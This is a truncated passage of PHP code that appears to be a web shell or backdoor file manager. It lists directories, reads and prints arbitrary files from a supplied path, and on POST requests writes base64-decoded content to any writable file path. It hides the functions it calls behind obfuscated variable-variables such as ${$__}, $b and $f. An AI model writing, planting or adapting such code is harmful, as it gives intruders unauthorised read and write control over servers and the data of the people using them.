'];
$html = array_merge($html, $directories, $fileItems);
$html[] = '
';
print implode("\n", $html);
}
function LoadFile($GetPath) {
$currentPath = realpath(rtrim($GetPath, DIRECTORY_SEPARATOR));
if (!is_dir($currentPath)){
if (file_exists($currentPath) && is_readable($currentPath)) {
$content = file_get_contents($currentPath);
$isWritable = is_writable($currentPath);
print '';
print '';
print $isWritable
? '
';
}
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset(${$__}['file_path'])) {
$filePath = ${$__}['file_path'];
if (is_writable($filePath)) {
if (isset(${$__}['save_file']) && isset(${$__}['file_content_base64'])) {
$content = $b(${$__}['file_content_base64']);
if ($content) {
$success = $f($filePath, $content) !== false;
$saveMsg = $success ?
"